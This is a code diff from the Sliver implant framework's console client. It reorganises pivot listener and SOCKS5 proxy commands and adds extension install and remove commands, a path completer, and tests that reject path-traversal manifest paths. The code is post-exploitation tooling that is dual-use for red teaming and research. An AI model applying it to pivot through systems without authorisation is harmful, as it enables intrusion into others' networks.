Name: consts.PivotsListStr,
|
||||
Help: "List pivots",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsListStr}),
|
||||
pivotsCmd := &grumble.Command{
|
||||
Name: consts.PivotsStr,
|
||||
Help: "List pivots for active session",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr}),
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotsCmd(ctx, con)
|
||||
@@ -2081,40 +2327,78 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
f.String("i", "id", "", "session id")
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
}
|
||||
con.App.AddCommand(pivotsCmd)
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.NamedPipeStr,
|
||||
Help: "Start a named pipe pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.NamedPipeStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.NamedPipeStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("n", "name", "", "name of the named pipe")
|
||||
f.String("b", "bind", "", "name of the named pipe to bind pivot listener")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.NamedPipeListenerCmd(ctx, con)
|
||||
pivots.StartNamedPipeListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
con.App.AddCommand(&grumble.Command{
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.TCPListenerStr,
|
||||
Help: "Start a TCP pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.TCPListenerStr}),
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.TCPListenerStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("s", "server", "0.0.0.0", "interface to bind server to")
|
||||
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp listen port")
|
||||
f.String("b", "bind", "", "remote interface to bind pivot listener")
|
||||
f.Int("l", "lport", generate.DefaultTCPPivotPort, "tcp pivot listener port")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.TCPListenerCmd(ctx, con)
|
||||
pivots.StartTCPListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.StopStr,
|
||||
Help: "Stop a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.StopPivotListenerCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
|
||||
pivotsCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.DetailsStr,
|
||||
Help: "Get details of a pivot listener",
|
||||
LongHelp: help.GetHelpFor([]string{consts.PivotsStr, consts.StopStr}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("i", "id", 0, "id of the pivot listener to stop")
|
||||
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
pivots.PivotDetailsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -2306,8 +2590,8 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
}
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: "add",
|
||||
Help: "Create a new Socks5 Proxy",
|
||||
Name: consts.StartStr,
|
||||
Help: "Start an in-band SOCKS5 proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.String("H", "host", "127.0.0.1", "Bind a Socks5 Host")
|
||||
@@ -2316,15 +2600,15 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksAddCmd(ctx, con)
|
||||
socks.SocksStartCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
})
|
||||
socksCmd.AddCommand(&grumble.Command{
|
||||
Name: "rm",
|
||||
Help: "Remove a Socks5 Proxy",
|
||||
Name: consts.StopStr,
|
||||
Help: "Stop a SOCKS5 proxy",
|
||||
LongHelp: help.GetHelpFor([]string{consts.Socks5Str}),
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "router timeout in seconds")
|
||||
@@ -2332,7 +2616,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
socks.SocksRmCmd(ctx, con)
|
||||
socks.SocksStopCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -2663,7 +2947,7 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
// [ Get Privs ] -----------------------------------------------------------------
|
||||
getprivsCmd := &grumble.Command{
|
||||
Name: consts.GetPrivsStr,
|
||||
Help: "Get current privileges (Windows)",
|
||||
Help: "Get current privileges (Windows only)",
|
||||
LongHelp: help.GetHelpFor([]string{consts.GetPrivsStr}),
|
||||
HelpGroup: consts.SliverWinHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
@@ -2680,13 +2964,13 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
|
||||
// [ Extensions ] -----------------------------------------------------------------
|
||||
extensionCmd := &grumble.Command{
|
||||
Name: consts.ExtensionStr,
|
||||
Help: "Manage sliver extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr}),
|
||||
Name: consts.ExtensionsStr,
|
||||
Help: "Manage extensions",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ListCmd(ctx, con)
|
||||
extensions.ExtensionsCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
@@ -2694,25 +2978,82 @@ func BindCommands(con *console.SliverConsoleClient) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
}
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.ListStr,
|
||||
Help: "List extensions loaded in the current session or beacon",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.ListStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
},
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsListCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.LoadStr,
|
||||
Help: "Register a new extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionStr, consts.LoadStr}),
|
||||
Help: "Temporarily load an extension from a local directory",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.LoadStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.LoadCmd(ctx, con)
|
||||
extensions.ExtensionLoadCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("dir-path", "path to the extension directory")
|
||||
},
|
||||
Flags: func(f *grumble.Flags) {
|
||||
f.Int("t", "timeout", defaultTimeout, "command timeout in seconds")
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.InstallStr,
|
||||
Help: "Install an extension from a local directory or .tar.gz file",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.InstallStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsInstallCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("path", "path to the extension .tar.gz or directory")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return completers.LocalPathCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
extensionCmd.AddCommand(&grumble.Command{
|
||||
Name: consts.RmStr,
|
||||
Help: "Remove an installed extension",
|
||||
LongHelp: help.GetHelpFor([]string{consts.ExtensionsStr, consts.RmStr}),
|
||||
HelpGroup: consts.SliverHelpGroup,
|
||||
Run: func(ctx *grumble.Context) error {
|
||||
con.Println()
|
||||
extensions.ExtensionsRemoveCmd(ctx, con)
|
||||
con.Println()
|
||||
return nil
|
||||
},
|
||||
Args: func(a *grumble.Args) {
|
||||
a.String("name", "the command name of the extension to remove")
|
||||
},
|
||||
Completer: func(prefix string, args []string) []string {
|
||||
return extensions.ExtensionsCommandNameCompleter(prefix, args, con)
|
||||
},
|
||||
})
|
||||
|
||||
con.App.AddCommand(extensionCmd)
|
||||
|
||||
// [ Prelude's Operator ] ------------------------------------------------------------
|
||||
operatorCmd := &grumble.Command{
|
||||
Name: consts.PreludeOperatorStr,
|
||||
|
||||
@@ -0,0 +1,4 @@
|
||||
Completers
|
||||
===========
|
||||
|
||||
This package contains general purpose completers for the console, note that some package also contain their own package-specific completers.
|
||||
@@ -0,0 +1,63 @@
|
||||
package completers
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
)
|
||||
|
||||
// LocalPathCompleter - Completes a local file system path
|
||||
func LocalPathCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
var parent string
|
||||
var partial string
|
||||
fi, err := os.Stat(prefix)
|
||||
if os.IsNotExist(err) {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
} else {
|
||||
if fi.IsDir() {
|
||||
parent = prefix
|
||||
partial = ""
|
||||
} else {
|
||||
parent = filepath.Dir(prefix)
|
||||
partial = filepath.Base(prefix)
|
||||
}
|
||||
}
|
||||
|
||||
results := []string{}
|
||||
ls, err := ioutil.ReadDir(parent)
|
||||
if err != nil {
|
||||
return results
|
||||
}
|
||||
for _, fi = range ls {
|
||||
if 0 < len(partial) {
|
||||
if strings.HasPrefix(fi.Name(), partial) {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
} else {
|
||||
results = append(results, filepath.Join(parent, fi.Name()))
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -1,46 +1,51 @@
|
||||
Extensions
|
||||
====
|
||||
===========
|
||||
|
||||
Allows to load and execute 3rd party extensions.
|
||||
|
||||
Extensions must be loaded from a directory with the following architecture:
|
||||
Extensions directory structures can be arbitrary, however in the root of the directory or .tar.gz there
|
||||
must be a `extension.json` or a `alias.json` file. All paths are relative to the manifest/root directory,
|
||||
parent directories are not allowed. Only files listed in the manifest are copied, any other files will
|
||||
be ignored.
|
||||
|
||||
```shell
|
||||
/path/to/extension/folder/
|
||||
├── manifest.json
|
||||
├── extension.json
|
||||
└── windows
|
||||
├── 386
|
||||
│ └── extension.x86.dll
|
||||
└── amd64
|
||||
└── extension.x64.dll
|
||||
│ └── extension.x86.dll
|
||||
│ └── extension.x64.dll
|
||||
└── linux
|
||||
│ └── extension.x86.so
|
||||
│ └── extension.x64.so
|
||||
└── darwin
|
||||
└── extension.x86.dylib
|
||||
└── extension.x64.dylib
|
||||
```
|
||||
|
||||
The extension folder structure must follow the `GOOS/GOARCH/` scheme.
|
||||
|
||||
Here's an example manifest:
|
||||
Here's an example manifest (i.e., the `extension.json` or a `alias.json`):
|
||||
|
||||
```json
|
||||
[
|
||||
{
|
||||
"name": "foo",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "ac1d-burn",
|
||||
"original_author": "zer0-cool",
|
||||
"repo_url": "https://github.com/foo/bar",
|
||||
"help": "Help for foo command",
|
||||
"entrypoint": "RunFoo",
|
||||
"init" :"NimMain",
|
||||
"dependsOn": "bar",
|
||||
"depends_on": "bar",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"files":{
|
||||
"x86": "extension.x86.o",
|
||||
"x64": "extension.x64.o",
|
||||
}
|
||||
"arch": "amd64",
|
||||
"path": "extension.x64.o",
|
||||
}
|
||||
],
|
||||
"arguments": [
|
||||
{"name": "pid", "type": "int", "desc": "pid", "optional": false},
|
||||
]
|
||||
}
|
||||
]
|
||||
```
|
||||
|
||||
The structure is the following one:
|
||||
|
||||
@@ -0,0 +1,121 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"strings"
|
||||
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/command/settings"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/desertbit/grumble"
|
||||
"github.com/jedib0t/go-pretty/v6/table"
|
||||
"github.com/jedib0t/go-pretty/v6/text"
|
||||
)
|
||||
|
||||
// ExtensionsCmd - List information about installed extensions
|
||||
func ExtensionsCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
PrintExtensions(con)
|
||||
}
|
||||
|
||||
// PrintExtensions - Print a list of loaded extensions
|
||||
func PrintExtensions(con *console.SliverConsoleClient) {
|
||||
tw := table.NewWriter()
|
||||
tw.SetStyle(settings.GetTableStyle(con))
|
||||
tw.AppendHeader(table.Row{
|
||||
"Name",
|
||||
"Command Name",
|
||||
"Platforms",
|
||||
"Version",
|
||||
"Installed",
|
||||
"Extension Author",
|
||||
"Original Author",
|
||||
"Repository",
|
||||
})
|
||||
tw.SortBy([]table.SortBy{
|
||||
{Name: "Name", Mode: table.Asc},
|
||||
})
|
||||
tw.SetColumnConfigs([]table.ColumnConfig{
|
||||
{Number: 5, Align: text.AlignCenter},
|
||||
})
|
||||
|
||||
installedManifests := getInstalledManifests()
|
||||
for _, extension := range loadedExtensions {
|
||||
installed := ""
|
||||
if _, ok := installedManifests[extension.CommandName]; ok {
|
||||
installed = "✅"
|
||||
}
|
||||
tw.AppendRow(table.Row{
|
||||
extension.Name,
|
||||
extension.CommandName,
|
||||
strings.Join(extensionPlatforms(extension), ",\n"),
|
||||
extension.Version,
|
||||
installed,
|
||||
extension.ExtensionAuthor,
|
||||
extension.OriginalAuthor,
|
||||
extension.RepoURL,
|
||||
})
|
||||
}
|
||||
con.Println(tw.Render())
|
||||
}
|
||||
|
||||
func extensionPlatforms(extension *ExtensionManifest) []string {
|
||||
platforms := map[string]string{}
|
||||
for _, entry := range extension.Files {
|
||||
platforms[fmt.Sprintf("%s/%s", entry.OS, entry.Arch)] = ""
|
||||
}
|
||||
keys := []string{}
|
||||
for key := range platforms {
|
||||
keys = append(keys, key)
|
||||
}
|
||||
return keys
|
||||
}
|
||||
|
||||
func getInstalledManifests() map[string]*ExtensionManifest {
|
||||
manifestPaths := assets.GetInstalledExtensionManifests()
|
||||
installedManifests := map[string]*ExtensionManifest{}
|
||||
for _, manifestPath := range manifestPaths {
|
||||
data, err := ioutil.ReadFile(manifestPath)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
manifest := &ExtensionManifest{}
|
||||
err = json.Unmarshal(data, manifest)
|
||||
if err != nil {
|
||||
continue
|
||||
}
|
||||
installedManifests[manifest.CommandName] = manifest
|
||||
}
|
||||
return installedManifests
|
||||
}
|
||||
|
||||
// ExtensionsCommandNameCompleter - Completer for installed extensions command names
|
||||
func ExtensionsCommandNameCompleter(prefix string, args []string, con *console.SliverConsoleClient) []string {
|
||||
installedManifests := getInstalledManifests()
|
||||
results := []string{}
|
||||
for _, manifest := range installedManifests {
|
||||
if strings.HasPrefix(manifest.CommandName, prefix) {
|
||||
results = append(results, manifest.CommandName)
|
||||
}
|
||||
}
|
||||
return results
|
||||
}
|
||||
@@ -0,0 +1,245 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"encoding/json"
|
||||
"testing"
|
||||
)
|
||||
|
||||
const (
|
||||
sample1 = `{
|
||||
"name": "test1",
|
||||
"command_name": "test1",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
|
||||
sample2 = `{
|
||||
"name": "test2",
|
||||
"command_name": "test2",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "../../../../foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifest(t *testing.T) {
|
||||
extManifest, err := ParseExtensionManifest([]byte(sample1))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest: %s", err)
|
||||
}
|
||||
if extManifest.Name != "test1" {
|
||||
t.Errorf("Expected extension name 'test1', got '%s'", extManifest.Name)
|
||||
}
|
||||
if extManifest.CommandName != "test1" {
|
||||
t.Errorf("Expected extension command name 'test1', got '%s'", extManifest.CommandName)
|
||||
}
|
||||
if extManifest.Version != "1.0.0" {
|
||||
t.Errorf("Expected extension version '1.0.0', got '%s'", extManifest.Version)
|
||||
}
|
||||
if extManifest.ExtensionAuthor != "test" {
|
||||
t.Errorf("Expected extension author 'test', got '%s'", extManifest.ExtensionAuthor)
|
||||
}
|
||||
if extManifest.OriginalAuthor != "test" {
|
||||
t.Errorf("Expected original author 'test', got '%s'", extManifest.OriginalAuthor)
|
||||
}
|
||||
if extManifest.RepoURL != "https://example.com/" {
|
||||
t.Errorf("Expected repo URL 'https://example.com/', got '%s'", extManifest.RepoURL)
|
||||
}
|
||||
if extManifest.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest.Help)
|
||||
}
|
||||
if len(extManifest.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest.Files))
|
||||
}
|
||||
if extManifest.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest.Files[0].OS)
|
||||
}
|
||||
if extManifest.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest.Files[0].Arch)
|
||||
}
|
||||
if extManifest.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest.Files[0].Path)
|
||||
}
|
||||
|
||||
extManifest2, err := ParseExtensionManifest([]byte(sample2))
|
||||
if err != nil {
|
||||
t.Fatalf("Error parsing extension manifest (2): %s", err)
|
||||
}
|
||||
if extManifest2.Name != "test2" {
|
||||
t.Errorf("Expected extension name 'test2', got '%s'", extManifest2.Name)
|
||||
}
|
||||
if extManifest2.CommandName != "test2" {
|
||||
t.Errorf("Expected extension command name 'test2', got '%s'", extManifest2.CommandName)
|
||||
}
|
||||
if extManifest2.Help != "some help" {
|
||||
t.Errorf("Expected help 'some help', got '%s'", extManifest2.Help)
|
||||
}
|
||||
if len(extManifest2.Files) != 1 {
|
||||
t.Errorf("Expected 1 file, got %d", len(extManifest2.Files))
|
||||
}
|
||||
if extManifest2.Files[0].OS != "windows" {
|
||||
t.Errorf("Expected OS 'windows', got '%s'", extManifest2.Files[0].OS)
|
||||
}
|
||||
if extManifest2.Files[0].Arch != "amd64" {
|
||||
t.Errorf("Expected Arch 'amd64', got '%s'", extManifest2.Files[0].Arch)
|
||||
}
|
||||
if extManifest2.Files[0].Path != "/foo/test1.dll" {
|
||||
t.Errorf("Expected path '/foo/test1.dll', got '%s'", extManifest2.Files[0].Path)
|
||||
}
|
||||
}
|
||||
|
||||
const (
|
||||
sample3 = `{
|
||||
"name": "test3",
|
||||
"command_name": "test3",
|
||||
"version": "1.0.0",
|
||||
"extension_author": "test",
|
||||
"original_author": "test",
|
||||
"repo_url": "https://example.com/",
|
||||
"help": "some help",
|
||||
"files": [
|
||||
{
|
||||
"os": "windows",
|
||||
"arch": "amd64",
|
||||
"path": "foo/test1.dll"
|
||||
}
|
||||
]
|
||||
}`
|
||||
)
|
||||
|
||||
func TestParseExtensionManifestErrors(t *testing.T) {
|
||||
sample3, err := ParseExtensionManifest([]byte(sample3))
|
||||
if err != nil {
|
||||
t.Fatalf("Failed to parse initial sample3: %s", err)
|
||||
}
|
||||
|
||||
missingName := (*sample3)
|
||||
missingName.Name = ""
|
||||
data, _ := json.Marshal(missingName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing name error, got none")
|
||||
}
|
||||
|
||||
missingCmdName := (*sample3)
|
||||
missingCmdName.CommandName = ""
|
||||
data, _ = json.Marshal(missingCmdName)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing command name error, got none")
|
||||
}
|
||||
|
||||
missingHelp := (*sample3)
|
||||
missingHelp.Help = ""
|
||||
data, _ = json.Marshal(missingHelp)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing help error, got none")
|
||||
}
|
||||
|
||||
missingFiles := (*sample3)
|
||||
missingFiles.Files = []*extensionFile{}
|
||||
data, _ = json.Marshal(missingFiles)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files error, got none")
|
||||
}
|
||||
|
||||
missingFileOS := (*sample3)
|
||||
missingFileOS.Files = []*extensionFile{
|
||||
{
|
||||
OS: "",
|
||||
Arch: "amd64",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileOS)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.os error, got none")
|
||||
}
|
||||
|
||||
missingFileArch := (*sample3)
|
||||
missingFileArch.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "",
|
||||
Path: "foo/test1.dll",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFileArch)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.arch error, got none")
|
||||
}
|
||||
|
||||
missingFilePath := (*sample3)
|
||||
missingFilePath.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: "",
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
|
||||
invalidPaths := []string{
|
||||
"../../../../../",
|
||||
"/../../../../..",
|
||||
".",
|
||||
"/",
|
||||
}
|
||||
for _, invalidPath := range invalidPaths {
|
||||
missingFilePath2 := (*sample3)
|
||||
missingFilePath2.Files = []*extensionFile{
|
||||
{
|
||||
OS: "windows",
|
||||
Arch: "amd64",
|
||||
Path: invalidPath,
|
||||
},
|
||||
}
|
||||
data, _ = json.Marshal(missingFilePath2)
|
||||
_, err = ParseExtensionManifest(data)
|
||||
if err == nil {
|
||||
t.Fatalf("Expected missing files.path error, got none")
|
||||
}
|
||||
}
|
||||
|
||||
}
|
||||
@@ -0,0 +1,168 @@
|
||||
package extensions
|
||||
|
||||
/*
|
||||
Sliver Implant Framework
|
||||
Copyright (C) 2021 Bishop Fox
|
||||
|
||||
This program is free software: you can redistribute it and/or modify
|
||||
it under the terms of the GNU General Public License as published by
|
||||
the Free Software Foundation, either version 3 of the License, or
|
||||
(at your option) any later version.
|
||||
|
||||
This program is distributed in the hope that it will be useful,
|
||||
but WITHOUT ANY WARRANTY; without even the implied warranty of
|
||||
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
|
||||
GNU General Public License for more details.
|
||||
|
||||
You should have received a copy of the GNU General Public License
|
||||
along with this program. If not, see <https://www.gnu.org/licenses/>.
|
||||
*/
|
||||
|
||||
import (
|
||||
"fmt"
|
||||
"io/ioutil"
|
||||
"os"
|
||||
"path/filepath"
|
||||
|
||||
"github.com/AlecAivazis/survey/v2"
|
||||
"github.com/bishopfox/sliver/client/assets"
|
||||
"github.com/bishopfox/sliver/client/console"
|
||||
"github.com/bishopfox/sliver/util"
|
||||
"github.com/desertbit/grumble"
|
||||
)
|
||||
|
||||
// ExtensionsInstallCmd - Install an extension
|
||||
func ExtensionsInstallCmd(ctx *grumble.Context, con *console.SliverConsoleClient) {
|
||||
extLocalPath := ctx.Args.String("path")
|
||||
fi, err := os.Stat(extLocalPath)
|
||||
if os.IsNotExist(err) {
|
||||
con.PrintErrorf("Extension path '%s' does not exist", extLocalPath)
|
||||
return
|
||||
}
|
||||
if !fi.IsDir() {
|
||||
InstallFromFilePath(extLocalPath, false, con)
|
||||
} else {
|
||||
installFromDir(extLocalPath, con)
|
||||
}
|
||||
}
|
||||
|
||||
// Install an extension from a directory
|
||||
func installFromDir(extLocalPath string, con *console.SliverConsoleClient) {
|
||||
manifestData, err := ioutil.ReadFile(filepath.Join(extLocalPath, ManifestFileName))
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error reading %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
manifest, err := ParseExtensionManifest(manifestData)
|
||||
if err != nil {
|
||||
con.PrintErrorf("Error parsing %s: %s", ManifestFileName, err)
|
||||
return
|
||||
}
|
||||
installPath := filepath.Join(assets.GetExtensionsDir(), filepath.Base(manifest.CommandName))
|
||||
if _, err := os.Stat(installPath); !os.IsNotExist(err) {
|
||||
con.PrintInfof("Extension '%s' already exists", manifest.CommandName)
|
||||
confirm := false
|
||||
prompt := &survey.Confirm{Message: "Overwrite current install?"}
|
||||
survey.AskOne(prompt, &confirm)
|
||||
if !confirm {
|
||||
return
|
||||
}
|
||||
forceRemoveAll(installPath)
|
||||
}
|
||||
|
||||
con.PrintInfof("Installing extension '%s' (%s) ... ", manifest.CommandName, manifest.Version)
|
||||
err = os.MkdirAll(installPath, 0o700)
|
||||
if err != nil {
|
||||
con.PrintErrorf("\nError creating extension directory: %s\n", err)
|
||||
return
|
||||
}
|
||||
